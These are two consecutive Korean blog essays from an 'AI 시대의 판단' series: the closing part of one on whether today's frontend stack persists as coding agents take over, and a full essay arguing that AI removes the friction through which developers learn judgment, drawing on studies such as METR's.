흥미로운 것은 이 약점과 도구 선택의 관계다. 구조와 스타일을 한 곳에 모으는 유틸리티 클래스 방식(Tailwind)이 모델이 다루기에 유리하다는 주장이 나온다. 다만 여기에는 과장이 섞이기 쉽다. Tailwind는 에이전트 이전에 사람의 이유(스타일이 마크업 옆에 붙어 있는 지역성)로 이미 자리를 잡았고, 기계 친화성은 나중에 발견된 성질에 가깝다. 그래도 방향은 시사적이라고 생각한다. 기계가 예측하기 좋은 형태의 코드가 선택압에서 유리해진다면, 미래 1에서 말한 "에이전트 친화적 타깃으로의 재편"은 혁명적인 교체가 아니라 이런 조용한 쏠림의 형태로 올 가능성이 높다. 그래서 CSS는 양쪽 모두에게 증거가 된다. 시각 검증이 충분히 자라기 전까지 화면의 마지막 몇 픽셀은 사람 몫으로 남을 가능성이 높다는 점에서는 고착 쪽에, 도구 선택이 이미 기계 쪽으로 기울기 시작했다는 점에서는 해체 쪽에.

두 번째 약점은 트러블슈팅 쪽이다. 이 해자는 스스로를 갉아먹는 구조다. 그 해자가 십수 년치인 것은 인간이 느리게 쓰기 때문이었다. 에이전트가 새로운 스택을 쓰기 시작하면 디버깅 사례와 텔레메트리가 기계 속도로 쌓인다. 15년짜리 해자가 아니라 2~3년짜리일 수 있다. 물론 처음 발 디딜 곳이 없다는 문제는 남으므로, 당분간 유효하되 영구적이지는 않다는 것이 정직한 평가일 것이다.

마지막으로, 이 세 겹이 한꺼번에 무너지는 경로도 하나 남아 있다. 에이전트의 디버깅이 정보 검색에서 추론으로 전환되는 순간이다. 특정 스택에 쌓인 사례 없이도 오류를 원리로부터 풀어내는 수준이 되면, 세 논거 모두 근거를 잃는다. 그런 시점이 올지 나는 모르겠고, 온다는 신호도 아직은 약해 보인다. 그 전까지 지금의 스택은 남을 것이다.

## 미래 4: 이긴 채로 투명해진다

여기까지는 "어느 스택이 이기는가"라는 질문이었고, 내 답은 고착이었다. 그런데 이 질문 자체가 핵심이 아닐 수 있다.

SQL의 사례를 보면 그렇다. SQL은 사실상 완승했다. 50년째 대체되지 않았고, 방금 세운 세 겹의 논거가 전부 성립한다. 학습 데이터가 가장 많고, 사람이 검수할 수 있고, 트러블슈팅 정보도 가장 많다. 그런데 "SQL 개발자"라는 직함은 거의 사라졌다. SQL을 다루는 일 자체가 사라진 것은 아니다. 그 일은 데이터 직군 안으로 흡수됐고, 일상의 SQL은 ORM과 생성 도구가 쓰게 되면서, SQL 지식은 몸값이 아니라 상식이 됐다. 그것만으로는 직업이 되지 않는다는 뜻이다. 반대편에는 COBOL이 있다. 마찬가지로 고착됐지만 아는 사람의 공급이 끊기면서, 은퇴한 개발자를 웃돈을 주고 다시 불렀다는 이야기가 주기적으로 나오는 시장이 됐다. 고착이라는 같은 결과에서, 그것을 아는 사람의 처지는 정반대로 갈린 셈이다.

세 겹의 논거를 다시 보면, 전부 "산출물이 어느 스택으로 나오는가"를 지키는 논거다. "그 스택 지식이 사람의 가격이 되는가"에 대해서는 셋 다 답하지 않는다. 검수 책임 논거조차 그렇다. 검수가 코드 리딩에서 행동 검증으로 이동하는 순간, 스택은 이긴 채로 아무도 읽지 않는 층이 된다. 기계가 쓰고 기계가 고치는, 말하자면 투명한 기판이다. 그런 세계에서 "React를 안다"는 지금 "SQL을 안다"만큼의 변별력이 될 것이다.

갈림길은 COBOL형이냐 SQL형이냐인데, 나는 SQL형의 가능성이 더 높다고 본다. COBOL이 사람의 가치를 지킨 것은 새 코드가 쓰이지 않는 언어가 되면서 아는 사람의 공급이 끊겼기 때문이다. 지금의 프론트엔드 스택은 반대다. 에이전트가 매일 새 코드를 쏟아내는 살아 있는 기판이고, 살아 있는 기판의 지식은 희소해지지 않는다.

그리고 이 지점에서 과거 절의 이중성이 되돌아온다. 추상화는 문제를 덮는 동시에 덮인 것을 잊게 만든다고 했다. 프레임워크가 웹의 기본기를 상식 아래로 밀어냈듯, 에이전트는 프레임워크 지식 자체를 상식 아래로 밀어낸다. 하강은 멈추는 것이 아니라 한 층 더 내려간다. 층이 쌓일 때마다 그 층의 전문가들은 이번 층은 다르다고 믿었지만, 매번 다음 층이 왔다.

## 90%라는 숫자

세 겹의 논거가 무너지는 경로까지 적고 나면, 쓰고 싶어지는 문장이 하나 있다. 디버깅이 추론으로 전환되는 그때쯤이면, 프론트엔드 개발자의 90%는 사라져 있을 것이라는 문장이다. 그 문장을 그대로 쓰기 전에, 이 90%가 무엇을 세는지부터 구분할 필요가 있다.

사라지는 것은 코딩 노동이다. [직군 경계를 다룬 글](https://yceffort.kr/2026/06/when-job-titles-blur)에서 썼듯 판단, 명세, 소유는 코드 생산이 공짜가 되어도 남고, 오히려 비싸진다. 무엇을 만들지 결정하고, 에이전트에게 "무엇이 일어나면 안 되는지"를 정확히 전달하고, 장애가 나면 새벽에 대응하는 역할이다. 오늘 직무의 상당 부분이 실제로 코드 타이핑이므로 "코딩 노동의 90%"는 방어할 수 있는 숫자다. 하지만 "직무의 90%"로 읽으면, 코드를 쓰고 고치는 노동의 소멸과 프론트엔드 개발자의 소멸을 같은 사건으로 취급하는 흔한 등식을 반복하게 된다. 둘은 같은 사건이 아니다.

다만 이 낙관에는 실패 전례가 있다. 활자 디자인이다. 판단과 안목이 핵심인 직종인데도, [새로운 활자체를 디자인하는 일은 더 이상 지속 가능한 풀타임 직업이 아니게 됐다는 관찰이 나온다](https://mastrojs.github.io/blog/2026-05-23-is-AI-causing-a-repeat-of-frontends-lost-decade/). "판단은 사라지지 않는다"가 "판단으로 먹고사는 자리가 줄지 않는다"를 보장하지는 않는다는 뜻이다. 판단이 남아도, 그것을 돈 받고 파는 자리는 좁아질 수 있다.

반대 방향의 변수도 있다. 90%는 수요가 고정되어 있다는 전제 위의 숫자다. 역사적으로 생산 비용이 무너지면 수요가 팽창해 왔다. 웹사이트가 앱이 되고, 앱이 모든 것의 UI가 됐다. 석탄 효율이 오르자 석탄 소비가 오히려 늘었다는 Jevons의 역설이 소프트웨어에서도 반복된다면, 단위당 노동이 90% 줄어도 총량이 10배가 되면서 사람 수는 훨씬 덜 줄어든다. 물론 팽창 자체가 일어나지 않는 세계도 있다. UI가 더 많아지는 세계가 아니라 UI 자체가 에이전트와의 대화로 대체되는 세계라면, 팽창할 그릇부터 없다.

그래서 90%에 대한 정직한 답은 이 정도가 될 것 같다. 코딩 노동을 가리키면 아마 맞고, 직무 전체를 가리키면 가능하지만 미확정이다. 비교적 분명한 것은 하나다. 남는 10%가 지금의 10%와 같은 일이 아니라는 것이다.

그 10%의 모습을 조금 더 구체적으로 그려 보면 이렇다. 직함은 프로덕트 엔지니어로 수렴할 것이다. 코드 생산이 상식이 되면 "프론트엔드"라는 수식어는 SQL이 그랬듯 직함에서 떨어져 나가고, 판단과 명세와 소유를 쥔 사람이 화면까지 함께 책임지는 형태가 될 가능성이 높다. 다만 프론트엔드 전문성 자체는 사라진다기보다 응집할 것이다. 지금도 렌더링 파이프라인이나 번들러 내부를 진짜로 이해하는 사람은 극소수이고, 그 극소수는 스택을 만드는 벤더와 초대형 서비스의 플랫폼 팀에 모여 있다. 에이전트 이후에는 이 응집이 한 층 더 진행되어, 스택을 만드는 벤더, 엣지케이스가 일상인 초대형 서비스, 그리고 호출형 전문가 시장(지금의 웹 성능 컨설턴트나 접근성 감사가 그 원형이다) 세 곳 정도가 서식지로 남을 것 같다. 그들이 하는 일도 트러블슈팅만은 아닐 것이다. 수백 개의 에이전트가 화면을 망가뜨리지 못하게 막는 플랫폼과 검증 게이트를 설계하는 일에 가까울 것이다. SRE가 장애를 잡는 직군으로 시작해 플랫폼을 설계하는 소수 정예로 정착한 것과 비슷한 경로다.

다만 이 그림에는 불안정한 구석이 하나 있다. 엣지케이스를 잡는 능력은 평범한 케이스를 대량으로 잡아 본 경험에서 나오는데, 프로덕트 엔지니어로 흡수된 트랙에는 그 경험이 쌓이지 않는다. [판단이 왜 길러지지 않는지를 다룬 글](https://yceffort.kr/2026/06/learning-what-ai-cant-do)에서 일이 더 이상 공짜로 훈련시켜 주지 않는다고 썼는데, 그 문제의 직군 버전이다. 응집된 전문가 층은 재생산 사다리가 끊긴 채로 남고, 지금 세대가 물러나면 그 자리는 COBOL형 웃돈 시장이 될 가능성이 있다. 극소수로 남는 것과 안정적으로 유지되는 것은 다른 문제다.

정리하면 남는 10%는 판단과 명세와 소유로 재구성된, 인원은 줄되 남은 사람의 단가는 오르는 직무일 것이다. 그리고 그 자리가 "직업"으로 남을지 활자 디자인처럼 소수의 니치로 남을지는, 결국 수요의 방향이 결정할 것이다.

## 정리

- **과거의 층은 필요해서 쌓였다.** 그리고 쌓인 뒤에는 그 아래 전문성을 몰라도 되게 만들었다. 진화와 탈숙련화는 같은 역사의 앞면과 뒷면이다.
- **현재는 원점 회귀에 작성자 교체가 겹친 시점이다.** 서버 렌더링과 최소한의 JavaScript로 돌아온 바로 그때, 코드를 쓰는 손이 사람에서 에이전트로 바뀌고 있다.
- **스택은 남을 가능성이 높다.** 학습 데이터 관성 때문이 아니라, 검수 책임과 트러블슈팅 정보량 때문에. 검수는 건너뛸 수 있어도 동작하지 않는 코드는 건너뛸 수 없다. 이 구조가 무너지는 경로는 디버깅이 검색에서 추론으로 전환되는 것 하나뿐인데, 그 신호는 아직 약해 보인다.
- **직함은 흡수되고 전문성은 응집될 것이다.** 프로덕트 엔지니어로의 수렴, 벤더·플랫폼 팀·호출형 시장이라는 세 서식지, 그리고 그 층을 다시 길러낼 사다리가 끊겨 있다는 문제까지가 한 묶음이다.
- **다만 스택의 승리가 사람의 자리를 보장하지는 않는다.** SQL처럼 이긴 채로 투명해지는 경로의 가능성이 더 높다고 본다. 그래서 준비해야 할 것은 스택을 더 잘 아는 쪽이 아니라, 검증 인터페이스가 코드에서 행동으로 이동할 때 [그 검증을 설계하고 소유하는 쪽](https://yceffort.kr/2026/06/do-you-need-to-read-code)이라고 생각한다. 스택의 승리와 나의 생존을 혼동하지 않는 것. 이 글에서 하고 싶었던 말은 결국 그것이다.

> 함께 읽으면 좋은 글: [코드를 읽거나 설명할 줄 몰라도, 스펙을 만족하고 버그를 고칠 수 있다면 상관없을까](https://yceffort.kr/2026/06/do-you-need-to-read-code), [AI가 기획·개발·디자인의 경계를 지운다면, 무엇이 남는가](https://yceffort.kr/2026/06/when-job-titles-blur), [마지막으로 코드를 진지하게 읽은 게 언제인가](https://yceffort.kr/2026/06/learning-what-ai-cant-do). "AI 시대의 판단" 시리즈와 문제의식을 공유한다.

## 참고

- [The Descent: What Happened to the Frontend While You Weren't Watching (David Poblador i Garcia, 2026)](https://davidpoblador.com/deep-dives/what-happened-to-the-frontend/) (하강: 당신이 안 보는 사이 프론트엔드에 일어난 일)
- [Is AI causing a repeat of Frontend's Lost Decade? (Mauro Bieg, 2026)](https://mastrojs.github.io/blog/2026-05-23-is-AI-causing-a-repeat-of-frontends-lost-decade/) (AI는 프론트엔드의 잃어버린 10년을 반복시키고 있는가)
- [The Law of Leaky Abstractions (Joel Spolsky, 2002)](https://www.joelonsoftware.com/2002/11/11/the-law-of-leaky-abstractions/) (새는 추상화의 법칙)
- [Why CSS Is So Hard for Generative AIs to Understand? (ASafaeirad, 2025)](https://dev.to/asafaeirad/why-css-is-so-hard-for-generative-ais-to-understand-17fo) (CSS는 왜 생성형 AI가 이해하기 어려운가)

---

Source: https://yceffort.kr/2026/06/learning-what-ai-cant-do.md
Title: 마지막으로 코드를 진지하게 읽은 게 언제인가
Description: 판단을 비싸게 만든 마찰이, 동시에 판단을 못 배우게 만든다. AI 시대에 가장 비싸지는 능력이 가장 덜 길러지는 이유
Date: 2026-06-21
Tags: ai, essay, software-engineering, learning, future-of-work
Series: AI 시대의 판단

## 신호가 꺼진다

마지막으로 코드를 진지하게 읽은 게 언제인가. 여기서 "진지하게" 라는 건 줄을 눈으로 훑었다는 뜻이 아니다. 이게 왜 이렇게 짜였는지, 여기서 뭐가 깨질 수 있는지, 이 코드가 주장하는 내용이 옳은지를 끝까지 따라가 본 것 말이다.

이 질문을 나한테 던지는 게 아니다, 라고 쓰려다 멈칫한다. 나는 여전히 읽는다. 정확히는 읽으려고 노력한다가 맞을 것이다. 다만 솔직히, 그 읽기가 요즘은 가끔 희미해진다. diff를 열고 테스트가 초록불인 걸 확인하는 순간 끝까지 따라가려던 집중이 슬그머니 풀리는 날이 있다. 그래도 대체로는 읽는다. 그러니 이 질문은 나보다 먼저, 요즘 코드를 짜는, 정확히는 코드를 짜라고 시키는 사람들을 향한다. 그런데 솔직히, 이 질문을 남들에게 던질 수 있는 안전한 자리에 내가 앉아 있다는 게 마음에 걸린다. 그리고 이건 한가한 질문이 아니다. 코드를 진지하게 읽어야 할 _이유_가 사방에서 빠지고 있어서다.

먼저 생산이 사람 손을 떠났다. Microsoft도 Google도 새 코드의 30% 안팎을 AI가 쓴다고 [말한다](https://www.itpro.com/software/development/developers-will-need-to-adapt-microsoft-ceo-satya-nadella-joins-googles-sundar-pichai-in-revealing-the-scale-of-ai-generated-code-at-the-tech-giants-and-its-a-stark-warning-for-software-developers). 어떻게 셌는지는 회사마다 흐릿하지만 방향은 분명하다.

그 다음 평가가 형식이 됐다. 코드 리뷰는 점점 diff를 열고 테스트가 초록불인지 확인하고 큰 그림에서 어긋난 게 없으면 승인하는 절차로 수렴한다. 줄 단위로 끝까지 읽는 건 뭔가 정말로 진하게 냄새가 날 때뿐이고, 그 빈도는 AI의 성능이 좋아질수록 줄어든다.

마지막으로 면접도 점차 코드를 비켜 간다. 면접관으로 앉았을 때, 우리가 지원자에게 물은 건 자료구조도 그가 직접 짠 코드도 아니었다. AI를 어떻게 쓰는지, 에이전트가 틀렸을 때 어떻게 알아채는지, 어디까지 맡기고 어디서 멈추는지였다.

세 장면을 따로 보면 각자 합리적이다. 코드를 _평가하던_ 자리(리뷰)와 코더를 _선발하던_ 자리(면접)가, 같은 시기에, 약속이라도 한 듯 코드를 깊이 안 본다. 코드를 만드는 일에서 사람이 물러나는 것까지는 그렇다 치자. 문제는 코드를 _판단하는_ 신호마저 같이 꺼지고 있다는 것이다.

그리고 하필, 꺼지고 있는 그 능력(무엇이 맞는지, 어디서 의심해야 하는지를 아는 판단)이 점점 더 비싸지는 바로 그 능력이다. [코드를 읽는 일](https://yceffort.kr/2026/06/do-you-need-to-read-code)과 [직군 경계](https://yceffort.kr/2026/06/when-job-titles-blur)를 두고 쓴 지난 두 글에서 나는 그렇게 썼다. 만드는 일은 흔해지고, 판단과 책임은 남고 오히려 비싸진다고. 이 글은 그 두 글의 어두운 거울이다. 더 비싸지는 그 능력이, 동시에 점점 덜 길러진다. 그리고 이건 누가 게을러졌다는 얘기가 아니다. 배울 필요가 사라졌다는 얘기다.

## 사라짐은 기분 탓이 아니다

여기까지는 생산과 평가가 사람 손을 떠난다는 얘기다. 그건 받아들이기 쉽다. 어려운 주장은 그다음이다. 그 과정에서 사람의 _능력_과 _학습_까지 깎여 나간다는 것이다. 이건 인상만으로는 약하다. "예전 사람이 새 도구 앞에서 엄살 부린다"로 치우면 그만이니까. 그 의심은 정당하다. 어셈블리를 손으로 짜는 사람은 이제 거의 없지만 소프트웨어는 망하지 않았다. 플라톤은 문자가 기억을 망친다고 했지만(Phaedrus), 우리는 글자 덕에 더 멀리 생각하게 됐다. 새 도구가 옛 능력을 지운다는 불평은 매번 나왔고 매번 틀렸다. 사전 확률부터가 이 글에 불리하다.

그래도 이게 기분 탓이 아니라는 증거가 있다. 많지는 않지만.

METR가 2025년에 숙련된 오픈소스 개발자들을 무작위 배정해 측정한 [실험](https://metr.org/blog/2025-07-10-early-2025-ai-experienced-os-dev-study/)이 있다. AI를 쓴 작업이 안 쓴 작업보다 평균 19% _느렸다_. 그런데 같은 개발자들은 AI 덕에 20% _빨라졌다_고 느꼈다. 체감과 실측이 통째로 뒤집혀 있다. 이 역전이 왜 일어나는지는 다음 절에서 다시 본다. 그게 이 글의 핵심에 닿아 있다.

Shen과 Tamkin이 2026년에 낸 [연구](https://arxiv.org/abs/2601.20245)는 다른 각도다. 개발자들이 새 비동기 라이브러리를 익히는 과정을 AI 도움 유무로 나눠 봤더니, AI를 쓴 쪽은 개념 이해도, 코드 읽기도, 디버깅 능력도 덜 길러졌다. 그러면서 평균적으로 유의미한 효율 이득도 없었다. 일을 하면서도 학습은 일어나지 않았다는 것이다.

코드 자체에도 흔적이 남는다. GitClear가 2020–2024년에 걸쳐 2억 1천만 줄을 분석한 [보고서](https://www.gitclear.com/ai_assistant_code_quality_2025_research)에서, 복사-붙여넣기 줄의 비율은 8.3%에서 12.3%로 늘고, 리팩토링으로 옮겨진 코드의 비율은 2021년 25%에서 2024년 10% 아래로 떨어졌다. 갈아엎고 다듬는 일은 줄고, 찍어내고 복제하는 일이 늘었다. 이해를 쌓는 쪽이 아니라 출력을 쌓는 쪽으로.

여기서 선을 하나 긋자. AI가 사람의 능력을 깎는다는 말은 자칫 오래된 자본주의 비판처럼 들리기 쉽다. 생산성이 올라 생긴 이득은 일하는 사람이 아니라 자본이 가져가고, 한때 숙련공이 통째로 하던 일은 잘게 쪼개져 아무나 할 수 있는 단순 작업으로 분해된다. 이런 탈숙련(deskilling) 논의는 Braverman이 _Labor and Monopoly Capital_에서 정리한 게 1974년이니, 벌써 50년 된 이야기다. "기술이 숙련을 깎는다"는 명제 자체는 전혀 새롭지 않다는 뜻이다. 내가 하려는 말은 그 일반론이 아니다.

"다들 안 배운다"는 일반화도 하지 않겠다. 그건 틀렸다. 어느 시대에나 끝까지 파고드는 1%는 있었고 지금도 있다. 안 배우는 사람도 늘 있었다. 변한 건 양 끝이 아니라 가운데다. median을 떠받치던 무언가가 빠졌다. 1%의 호기심도, 게으른 사람의 핑계도 아니라, 중간에 있는 대부분을 억지로라도 배우게 만들던 그 무언가. 그게 뭔지가 다음 절이다.

## 양날

판단이 뭔지부터 좁히자. 거창한 게 아니다. 이 추상이 옳은지, 이 코드가 어디서 깨질지, 무엇을 검증해야 하고 어디를 의심해야 하는지를 아는 것. AI가 대신 책임져 주지 않는 것. 코드를 _생산_하는 일은 에이전트가 가져갔지만, 생산물이 맞는지 _판단_하는 일은 여전히 사람에게 남아 있다. 지난 글의 결론이 거기였다.

문제는 그 판단이 어디서 왔느냐다. 나는 그걸 책에서 배우지 않았다. 직접 짓고, 부수고, 디버깅하면서 배웠다. 잘못된 추상을 세웠다가 몇 주 뒤에 무너지는 걸 보면서, 한 줄을 못 찾아 새벽까지 로그를 들여다보면서, "이쯤이면 되겠지" 하고 넘긴 게 프로덕션에서 터지는 걸 겪으면서 배웠다. 막히고, 헤매고, 고생한 시간이 곧 학습이었다. 편하게 넘어간 건 남지 않았다.

이건 내 감상이 아니라 학습과학이 못 박은 사실이다. Robert Bjork가 desirable difficulties(바람직한 어려움)라고 부른 것이다. 학습을 _느리고 힘들게_ 만드는 조건이, 역설적으로 _오래 가는_ 학습을 만든다. 막힘 없이 술술 넘어간 정보는 그 순간엔 잘 아는 것 같지만 금세 증발한다. 더듬거리며 어렵게 꺼낸 것이 남는다. 고생이 비용이 아니라 메커니즘이다.

여기서 양날이 보인다.

판단을 _비싸게_ 만든 그 성질(마찰, 고생, 막힘, 느림)이 정확히 판단을 _길러 주던_ 성질이다. 둘은 다른 두 가지가 아니라 같은 한 가지의 두 날이다. 마찰이 있어서 희소하고, 마찰이 있어서 길러졌다. 비싸다는 것과 배워진다는 것이 같은 뿌리에서 나온다.

그리고 AI가 없애는 게 정확히 그 마찰이다.

AI는 막힘을 없앤다. 잘못된 추상을 세워 보기 전에 맞는 걸 건네고, 새벽까지 로그를 뒤지기 전에 버그를 고쳐 준다. 도구로서 이건 훌륭하다. 비용을 없애니까. 그런데 그 비용이 곧 학습의 메커니즘이었다. 마찰을 없애는 순간, 판단이 비싸지는 것과 판단이 안 길러지는 것이 동시에 일어난다. 두 개의 별도 문제가 아니라 한 원인의 두 결과다. 한쪽은 판단을 희소하게(비싸게) 만들고, 다른 쪽은 못 배우게(안 길러지게) 만든다. 같은 마찰을 없앤 데서 둘 다 나온다.

이제 METR의 역전으로 돌아가자. AI를 쓴 개발자가 19% 느려지고도 20% 빨라졌다고 느낀 그 미스터리.

그건 미스터리가 아니라 예상된 결과다. Bjork의 같은 연구 줄기에 fluency illusion(유창성 착각)이라는 게 있다. 어떤 정보가 매끄럽게 술술 처리되면, 그 수월함 자체를 "내가 이해했다"는 신호로 착각하는 현상이다. 교과서를 반복해 읽으면 눈에 익어 다 아는 것 같지만 막상 떠올리려 하면 안 나오는, 그 익숙함과 실력의 혼동이다. AI가 내놓는 코드는 매끄럽다. 술술 읽히고, 그럴듯하고, 막힘이 없다. 그 유창함(fluency)을 우리는 이해로 오독한다. 그리고 힘이 덜 든 것을 일이 잘되는 증거로 오독한다. 막힘이 사라졌으니 빨라졌다고 느끼는데, 정작 그 막힘이야말로 내가 뭘 모르는지를 알려 주던 신호였다. 신호가 꺼졌으니 모른다는 사실조차 모른다. Microsoft와 CMU가 지식노동자 319명을 조사한 [연구](https://dl.acm.org/doi/full/10.1145/3706598.3713778)는 이걸 측정으로 잡아냈다. AI를 더 신뢰할수록 비판적 사고를 덜 했고, 자기 자신을 더 신뢰할수록 더 했다. 유창함을 믿는 만큼 판단을 내려놓는다는 뜻이다. 체감이 실측을 19%나 앞지르는 건 그래서다. 마찰이 사라지면 일이 빨라진 것 같은 _느낌_이 먼저 오고, 능력은 조용히 뒤처진다.

## 필요는 왜 빠져나갔나

여기까지는 능력 얘기다. 마찰이 사라지면 능력이 안 길러진다. 그런데 더 무서운 건 동기 쪽이다. 능력을 기를 마찰만 사라진 게 아니라, 그 마찰을 견디게 만들던 _필요_가 같이 빠졌다. 두 갈래로 빠진다.

첫째, 수동적으로 빠진다. 예전엔 막히면 배워야 했다. 막힘이 곧 강제였다. 이 에러를 이해하지 못하면 다음으로 못 넘어가니까, 싫어도 파고들었다. 그런데 AI는 그 막힘을 그 자리에서 녹인다. 막힐 일이 없으니 배울 트리거가 없다. 배우기 싫어서 안 배우는 게 아니라, 배워야 하는 _순간_이 오지 않는다. 막힘은 학습의 입구였는데, 그 입구가 닫혔다.

둘째, 능동적으로 빠진다. 이쪽이 더 독하다. 실무는 throughput에 점수를 준다. 얼마나 빨리, 얼마나 많이 쳐냈는가. 그 잣대 위에서 학습은 단지 불필요한 게 아니라 _불리_하다. 막힘을 AI로 넘기지 않고 직접 파고드는 사람은 그 분기에 느린 사람이다. 느리면 점수에서 진다. 잉여 생산력은 더 적은 인원으로 더 많은 일을 하는 쪽으로 흡수되고([감원은 지난 글에서 다뤘다](https://yceffort.kr/2026/06/when-job-titles-blur)), 사람당 슬랙(slack, 당장의 산출에 안 잡히는 여유)이 제거된다. 학습이 요구하는 그 여유 시간이 가장 먼저 잘린다.

조직은 입으로는 품질을 말한다. 그런데 실제로 보상하는 건 속도다. 문서에 뭐라고 쓰여 있든, 분기말에 누가 칭찬받고 누가 평가에서 밀리는지를 보면 진짜 잣대가 드러난다. 말한 것이 아니라 보상한 것이 진짜 규칙이다. 그리고 보상받는 규칙은 속도다.

개인 쪽 신호도 같은 걸 가리킨다. Stack Overflow의 [2025년 설문](https://survey.stackoverflow.co/2025/ai/)에서 AI 출력이 정확하다고 믿는 개발자 비율은 2024년 40%에서 29%로 떨어졌고, 정확성을 적극적으로 불신하는 쪽(46%)이 신뢰하는 쪽(33%)보다 많다. 그러면서도 84%가 쓴다. 안 믿는 도구를 굳이 쓰는 건 게을러서가 아니다. 안 쓰면 느린 사람이 되기 때문이다. 회피가 합리적이 되는 그 구조에서, 신뢰하지 않는 도구에 의존하는 것도 똑같이 합리적이 된다.

그래서 동기가 무너지는 건 도덕의 실패가 아니다. 예측된 행동이다. Bjork는 학습자에게 효과적인 방법을 알려 줘도, 강제되지 않으면, 더 쉽고 더 유창하게 느껴지는 쪽으로 돌아간다는 걸 보였다. 아는 것이 행동을 바꾸지 않는다. desirable difficulty는 _바람직하지만_ 아무도 자발적으로 선택하지는 않는다는 게 핵심이다. 그러니 "왜 요즘은 깊이 안 배우나"라는 질문은 틀렸다. 필요와 보상이 둘 다 학습에서 등을 돌린 환경에서, 회피는 게으름이 아니라 합리적 적응이다.

그리고 이건 의지로 풀리지 않는다. 학습이 순전히 재량이고 무보상이면, 의욕 있는 소수도 진다. 옆자리가 AI로 두 배 빨리 쳐내는데 나 혼자 막힘을 끌어안고 느리게 배우면, 나는 그저 평가에서 밀리는 사람이 된다. 집단행동 문제다. 혼자 옳게 행동해서 손해 보는 구조에서는, 옳게 행동하려는 의지조차 비용이 된다.

그리고 마찰을 없애는 건 AI라는 도구 하나가 아니다. throughput을 요구하는 조직이 같이 없앤다. 도구는 막힘을 녹이고, 조직은 막힘을 견딜 여유를 없앤다. 양쪽에서 마찰이 사라지면, 판단은 비싸지면서 동시에 안 길러지고, 그걸 배울 필요와 동기까지 빠진다.

## 처방을 쓰고 싶은 손

여기서 글을 어떻게 닫아야 하는지 나는 안다. 명백한 수가 있다. "그러니 의식적으로 마찰을 만들어라. AI를 끄고 직접 디버깅하는 시간을 떼어 두고, 막혀도 바로 묻지 말고…" 손이 그쪽으로 움직인다. 그리고 요즘 대부분의 글이 그렇게 흘러가고 있다.

그런데 그게 정확히 내 지난 두 글의 엔딩이었다. 그리고 그건 균형에서 지는 조언이다. 방금 한 말(학습이 재량이고 무보상이면 의욕 있는 소수도 진다)을 진지하게 받아들이면, "개인이 의식적으로 마찰을 만들어라"는 처방은 집단행동 문제를 개인의 의지로 떠넘기는 것에 불과하다. 구조가 만든 문제에 개인 도덕을 처방하는 건, 듣기엔 좋지만 균형을 못 이긴다. 옆자리가 두 배 빠른 한, 혼자 마찰을 껴안는 사람은 옳고 또 진다.

게다가 처방을 쓰고 싶은 이 불편함 자체가 이 글이 가리키는 자리다. 처방을 내릴 수 있다는 건 내 판단이 이미 길러졌다는 뜻이다. 비용은 이미 다 치렀고, 지금 와서 마찰의 가치를 설교하는 것이다.

그러니 처방은 없다. 대신 이 논증이 어디서 휘는지부터 적어 둔다.

가장 강한 반례는 결과를 소유하는 구조, 목적조직이다. 속도가 아니라 결과로 평가받고 자기가 만든 걸 자기가 운영하는 곳("you build it, you run it", [2탄에서 인용한 Vogels](https://yceffort.kr/2026/06/when-job-titles-blur))에서는 4절의 능동적 칼날이 무뎌진다. 속도 잣대가 약해지니까. 게다가 결과를 소유하면 하류 마찰이 일부 돌아온다. 자기 온콜을 자기가 받고 새벽에 자기 프로덕션 불을 자기가 끄는 것. 그건 3절에서 내가 "프로덕션에서 터지는 걸 겪으면서 배웠다"고 한 바로 그 마찰이고, 진짜 학습이다. 그러니 이 구조는 명제를 _부분적으로_ 약화시킨다. 진짜로.

그런데 끝까지 따라가면 결국 제자리로 돌아온다. 결과를 책임진다는 건 "판단을 잘 써라"는 요구이지 "판단을 길러라"는 강제가 아니다. 결과만 좋으면 코드는 AI가 다 써도 되고, 마감이 급하면 오히려 더 기댄다. 그러니 코드를 직접 짜며 부딪히는 마찰, 판단을 길러 주던 그 마찰은 돌아오지 않는다. 돌아온 건 사고를 수습하는 마찰뿐인데, 이건 늦고 뭉툭하다. 사고가 터지면 "이 선택이 틀렸구나"는 배워도, 코드 한 줄 한 줄이 왜 위험했는지까지 가르쳐 주지는 않는다. 게다가 그 수습마저 AI한테 시키면 그 학습도 사라진다.

정리하면 이렇다. 결과로 평가하면 판단을 더 많이 요구하게 되는데, 정작 판단을 길러 줄 마찰은 돌아오지 않는다. 요구는 늘고 길러지는 양은 그대로. 그게 정확히 그 양날이다. 게다가 "결과로 평가한다"는 간판조차 실제로는 배포 수 같은 속도 지표로 대체되기 일쑤다. 특히 이제 막 들어온 사람에게 가혹하다. 아직 갖지도 못한 판단을 결과로 내놓으라고 요구받는데, 그걸 기를 기회는 여전히 없으니까. 이미 판단을 갖춘 시니어는 그걸 꺼내 쓰며 잘 버티고, 주니어만 그대로 노출된다. 이건 내 주장을 뒤집기는커녕 오히려 그대로 보여 주는 장면이다.

방금 것은 논증을 정밀하게 만들 뿐이다. 내가 통째로 틀렸다고 인정해야 하는 경우는 따로 있다. 지금 막 들어오는 사람들이 AI와 부딪히는 과정에서(에이전트가 틀렸을 때 알아채고, 어디까지 맡길지 정하는 그 새로운 종류의 씨름에서) 예전의 디버깅과는 다른 경로로 판단을 길러낸다면, 나는 틀렸다. 혹은 필요가 사라졌다고 본 게 착시이고, 마찰은 형태만 바뀌어 그대로 있다면, 그래도 나는 틀렸다. 둘 중 하나라도 참이면 이 글은 꼰대의 엄살이 될 것이다. 그리고 2절에서 인정했듯, 이런 불평은 대체로 틀려 왔다. 확률은 내 편이 아니다.

다만 지금 내 자리에서 보이는 건 그렇지 않다. 오히려 그 반대가 보인다. 정작 비용을 치러야 하는 건 지금 막 들어오는 사람들이고, 그들에겐 마찰을 견딜 필요도 보상도 없다. 가장 잘 보이는 사람이 정작 당사자가 아니다. 그래서 안 고쳐진다. 나를 포함해서, 이 문제를 가장 또렷이 보는 자리에 앉은 사람이 "내 알바는 아니"라고 말할 수 있는 자리에 앉아 있다. 그 비대칭이 키스톤이다.

나는 여전히 코드를 읽는다(가끔 희미해지긴 해도). 그런데 그건 읽어야 할 필요가 남아서가 아니라, 그 판단이 이미 길러져 있어서다. 마지막으로 코드를 진지하게 읽은 게 언제냐는 질문은, 지금 들어오는 사람들에게는 점점 "왜 읽어야 하죠"가 된다. 그리고 그 _필요_는, 내일도 오지 않는다.

## 참고

- [Measuring the Impact of Early-2025 AI on Experienced Open-Source Developer Productivity (METR, 2025)](https://metr.org/blog/2025-07-10-early-2025-ai-experienced-os-dev-study/) (2025년 초의 AI가 숙련 오픈소스 개발자의 생산성에 미친 영향)
